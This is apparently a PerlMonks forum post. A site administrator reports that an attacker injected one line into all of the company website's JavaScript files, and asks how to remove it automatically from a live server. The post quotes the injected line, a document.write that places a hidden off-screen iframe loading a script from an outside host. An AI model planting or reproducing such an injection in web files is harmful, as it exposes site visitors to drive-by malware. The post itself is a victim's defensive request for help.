Dear Monks,

In our corporate website there was an attempted hack and all the .js files were hacked. The following lines were added to all .js files (Some information stripped out for security reasons)

;document.write('<iframe width="50" height="50" style="width:100px;hei +ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq +fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></ +iframe>');

We cleared out all the lines manually, now again the same thing happened. The question is how can we automate removing all the newly added lines into the .js files from all directories in the web server.

Following are my questions

  1. How can we delete the above lines without shutting down the web server?
  2. How to automate the process of removing these newly added lines in case if the same thing happens again?
  3. Are there any other tools available to painlessly remove such things from a live server?

Any other tips, suggestions and advice will of immense help

Please help.


In reply to Hacking of JavaScript files in our corporate website by shajiindia

Title:
Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post, it's "PerlMonks-approved HTML":



  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, details, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.